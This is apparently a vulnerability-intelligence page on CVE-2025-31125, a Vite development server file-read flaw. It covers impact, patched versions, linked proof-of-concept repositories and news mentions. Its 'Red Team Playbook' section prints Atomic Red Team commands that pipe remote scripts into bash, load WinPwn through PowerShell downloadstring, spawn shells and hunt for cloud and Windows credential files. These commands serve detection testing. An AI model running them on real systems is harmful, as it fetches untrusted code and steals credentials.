CVE-2025-31125
Overview
This vulnerability is a path traversal flaw in the Vite development server's @fs endpoint, allowing unauthorized file access. The root cause lies in improper validation of file path parameters, enabling traversal outside the intended directory. The affected component is the Vite dev server when exposed to the network via the --host or server.host configuration options.
Vulnerability Description
Vite is a frontend tooling framework for javascript. Vite exposes content of non-allowed files using ?inline&import or ?raw?import. Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected. This vulnerability is fixed in 6.2.4, 6.1.3, 6.0.13, 5.4.16, and 4.5.11.
Impact
An attacker with network access to the exposed Vite development server can read sensitive system or application files by exploiting the path traversal vulnerability. No authentication or user interaction is needed, only that the dev server is publicly reachable. This can lead to information disclosure, potentially exposing credentials, configuration files, or other sensitive data, which may facilitate further attacks or compromise of the affected environment.
Solution
Upgrade Vite to one of the patched versions: 6.2.4, 6.1.3, 6.0.13, 5.4.16, or 4.5.11, as detailed in the official GitHub security advisory (https://github.com/vitejs/vite/security/advisories/GHSA-4r4m-qw57-chr8). These releases address the path traversal issue in the @fs endpoint. Avoid exposing the Vite development server to external networks unless necessary and ensure proper configuration of the --host or server.host options.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (5)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Vitejs | Vite | All |
cpe:2.3:a:vitejs:vite:*:*:*:*:*:node.js:*:*
|
|
|
Vitejs | Vite | All |
cpe:2.3:a:vitejs:vite:*:*:*:*:*:node.js:*:*
|
|
|
Vitejs | Vite | All |
cpe:2.3:a:vitejs:vite:*:*:*:*:*:node.js:*:*
|
|
|
Vitejs | Vite | All |
cpe:2.3:a:vitejs:vite:*:*:*:*:*:node.js:*:*
|
|
|
Vitejs | Vite | All |
cpe:2.3:a:vitejs:vite:*:*:*:*:*:node.js:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (6)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
sunhuiHi666/CVE-2025-31125
Vite 任意文件读取漏洞POC
|
sunhuiHi666 | 6 | 0 | 2025-04-01 | View |
|
MuhammadWaseem29/Vitejs-exploit
Vite Development Server's @fs endpoint (CVE-2025-31125) to access sensitive files like /etc/passwd and /etc/hosts via c...
|
MuhammadWaseem29 | 0 | 2 | 2025-05-03 | View |
|
alinaclark672377250/Vitejs-exploit
Vite Development Server's @fs endpoint (CVE-2025-31125) to access sensitive files like /etc/passwd and /etc/hosts via c...
|
alinaclark672377250 | 0 | 0 | 2026-11-18 | View |
|
PoC
|
- | 0 | 0 | - | View |
|
0xgh057r3c0n/CVE-2025-31125
Vite WASM Import Path Traversal 🛡️
|
0xgh057r3c0n | 0 | 0 | 2025-05-07 | View |
|
harshgupptaa/Path-Transversal-CVE-2025-31125-
Vite is a frontend tooling framework for javascript. Vite exposes content of non-allowed files using ?inline&import or ?...
|
harshgupptaa | 0 | 0 | 2025-07-13 | View |
Threat Feed
16 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Active exploitation confirmed with 43 sighting(s)
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
Mentions (39)
-
code github.com alinaclark672377250 2026-11-18 18:15 UTCalinaclark672377250/Vitejs-exploitOpen source
-
code github.com L15B04 2026-10-18 10:16 UTCL15B04/Exploit-VITE-CVE-2025-30208-CVE-2025-31125Open source
-
news gbhackers.com 2026-09-15 07:00 UTCMass Scanning Targets Exposed Vite Servers to Steal AWS Keys and Azure Tokens - GBHackers NewsOpen source
-
news infoworld.com 2026-09-15 07:00 UTCExposed Vite servers are being probed for AWS and Azure credentials - InfoWorldOpen source
-
news scworld.com 2026-09-15 07:00 UTCMass scanning campaign targets Vite development servers for cloud credentials - SC MediaOpen source
-
news bleepingcomputer.com 2026-09-14 07:00 UTCHackers target exposed Vite dev servers to steal AWS, Azure secrets - BleepingComputerOpen source
-
news cybersecuritynews.com 2026-09-14 07:00 UTCHackers Mass-Scan Exposed Vite Servers to Steal AWS and Azure Cloud Credentials - CyberSecurityNewsOpen source
-
advisory recordedfuture.com 2026-02-24 08:00 UTCJanuary 2026 CVE Landscape: 23 Critical Vulnerabilities Mark 5% Increase, APT28 Exploits Microsoft Office Zero-Day - Recorded FutureOpen source
-
social bsky.app @getpokemon7.bsky.social 2026-02-15 02:39 UTCCISA Adds Four Known Exploited Vulnerabilities to Catalog Release Date January 22, 2026 CVE-2025-31125 Vite Vitejs Improper Access Control Vulnerability CVE-2025-34026 Versa Concerto Improper Authentication Vulnerability CVE-2025-54313 Pre…Open source
-
news scworld.com 2026-01-26 08:00 UTCCISA adds Vite, Prettier, Versa, and Zimbra vulnerabilities to KEV catalog - SC MediaOpen source
-
social bsky.app @beikokucyber.bsky.social 2026-01-23 21:02 UTC速報:共通脆弱性識別子CVE-2025-31125は、以下の情報源に基づき、エクスプロイトコードが実在することが確認されました:cisa kev, poc in github, nuclei, vulncheck kev。Open source
-
social bsky.app @beikokucyber.bsky.social 2026-01-23 21:02 UTCCVE-2025-31125 has confirmed exploit code according to the following sources: cisa kev, poc in github, nuclei, vulncheck kev.Open source
-
social bsky.app @netsecio.bsky.social 2026-01-23 20:01 UTC🚨 URGENT: CISA adds 4 actively exploited vulnerabilities to its KEV list, affecting Zimbra, Vite, Versa Concerto & an NPM package. Federal agencies must patch by Feb 12. Private sector urged to act now! ⚠️ #CyberSecurity #KEV #PatchNowOpen source
-
social bsky.app @blackhatnews.tokyo 2026-01-23 18:58 UTCCISA、企業向けソフトウェアの4つの脆弱性が実際に悪用されていることを確認 米国のサイバーセキュリティ・インフラストラクチャ安全保障庁(CISA)は、VersaおよびZimbraの企業向けソフトウェア、Viteフロントエンドツールフレームワーク、そしてPrettierコードフォーマッタに影響する4つの脆弱性が実際に悪用されていると警告しました。 これらのセキュリティ問題はCISAのKEV(Known Exploited Vulnerabilities:既知の悪用されている…Open source
-
news bleepingcomputer.com 2026-01-23 08:00 UTCCISA confirms active exploitation of four enterprise software bugs - BleepingComputerOpen source
-
news securityweek.com 2026-01-23 08:00 UTCOrganizations Warned of Exploited Zimbra Collaboration Vulnerability - SecurityWeekOpen source
-
social bsky.app @cyfar.ca 2026-01-22 20:01 UTC~Cisa~ CISA adds four actively exploited vulnerabilities for Vitejs, Versa, Prettier, and Zimbra to its KEV catalog. - IOCs: CVE-2025-31125, CVE-2025-34026, CVE-2025-68645 - #CISA #KEV #ThreatIntelOpen source
-
social bsky.app @cisa-feed-onblue.bsky.social 2026-01-22 19:01 UTCLatest post from CISAOpen source
-
social bsky.app @undercode.bsky.social 2025-10-07 18:16 UTCThe Unseen Threat: How a Single Misconfigured Endpoint Can Lead to Total System Compromise Introduction: The recent disclosure of CVE-2025-31125 highlights a critical and often overlooked attack vector: unauthenticated local file inclusion…Open source
-
social bsky.app @beikokucyber.bsky.social 2025-08-03 21:03 UTC速報:共通脆弱性識別子CVE-2025-31125は、以下の情報源に基づき、エクスプロイトコードが実在することが確認されました:poc in github, nuclei, vulncheck kev。Open source
-
social bsky.app @beikokucyber.bsky.social 2025-08-03 21:02 UTCCVE-2025-31125 has confirmed exploit code according to the following sources: poc in github, nuclei, vulncheck kev.Open source
-
code github.com harshgupptaa 2025-07-13 16:42 UTCharshgupptaa/Path-Transversal-CVE-2025-31125-Open source
-
social bsky.app @forem.com.web.brid.gy 2025-06-05 03:40 UTCOpen source
-
social bsky.app @2rzikkbou3ntafnir2qmmse0gwz.activitypub.awakari.com.ap.brid.gy 2025-06-05 03:40 UTCArbitrary File Read Vulnerability in Vite (CVE-2025-31125) About the Author Hi, I'm Sharon, a... https://dev.to/sharon_42e16b8da44dabde6d/arbitrary-file-read-vulnerability-in-vite-cve-2025-31125-1p35 #vulnerabilities #webdev #cybersecurity…Open source
-
social bsky.app @dev.to.web.brid.gy 2025-06-05 03:40 UTCOpen source
-
social bsky.app @beikokucyber.bsky.social 2025-05-31 21:02 UTC速報:共通脆弱性識別子CVE-2025-31125は、以下の情報源に基づき、エクスプロイトコードが実在することが確認されました:Nuclei, Vulncheck KEV。Open source
-
social bsky.app @beikokucyber.bsky.social 2025-05-31 21:02 UTCCVE-2025-31125 has confirmed exploit code according to the following sources: Nuclei, Vulncheck KEV.Open source
-
code github.com nkuty 2025-05-29 17:23 UTCnkuty/CVE-2025-30208-31125-31486-32395Open source
-
code github.com 0xgh057r3c0n 2025-05-07 07:45 UTC0xgh057r3c0n/CVE-2025-31125Open source
-
social bsky.app @undercode.bsky.social 2025-05-05 02:15 UTCCVE-2025-31125: Vitejs Vulnerability Analysis GitHub PoC: PoC Video: You Should Know: Vulnerability Details CVE ID: CVE-2025-31125 Severity: High Affected Software: Vite.js (72k stars on GitHub) Risk: Potential Remote Code Execution (RCE)…Open source
-
code github.com MuhammadWaseem29 2025-05-03 18:41 UTCMuhammadWaseem29/Vitejs-exploitOpen source
-
social bsky.app @beikokucyber.bsky.social 2025-04-09 21:02 UTC速報:共通脆弱性識別子CVE-2025-31125は、以下の情報源に基づき、エクスプロイトコードが実在することが確認されました:Nuclei。Open source
-
social bsky.app @beikokucyber.bsky.social 2025-04-09 21:02 UTCCVE-2025-31125 has confirmed exploit code according to the following sources: Nuclei.Open source
-
social bsky.app @giuseppesec.bsky.social 2025-04-07 17:27 UTCohh cve-2025-31125 is sickOpen source
-
social bsky.app @hacker.at.thenote.app 2025-04-04 04:50 UTCVite Arbitrary File Read Vulnerability (CVE-2025-31125) Overview Recently, NSFOCUS CERT detected that Vite issued a security bulletin to fix the Vite arbitrary file read vulnerability (CVE-2025-31125); Because the Vite development server d…Open source
-
social bsky.app @android.activitypub.awakari.com.ap.brid.gy 2025-04-03 06:06 UTCVite Arbitrary File Read Vulnerability (CVE-2025-31125) Overview Recently, NSFOCUS CERT detected […] [Original post on securityboulevard.com]Open source
-
code github.com sunhuiHi666 2025-04-01 14:24 UTCsunhuiHi666/CVE-2025-31125Open source
-
code github.com jackieya 2025-03-31 13:43 UTCjackieya/ViteVulScanOpen source
-
code github.com xuemian168 2025-03-26 10:26 UTCxuemian168/CVE-2025-30208Open source
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-31125 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/vitejs/vite/security/advisories/GHSA-4r4m-qw57-chr8 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/vitejs/vite/commit/59673137c45ac2bcfad1170d954347c1a17ab949 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-31125 |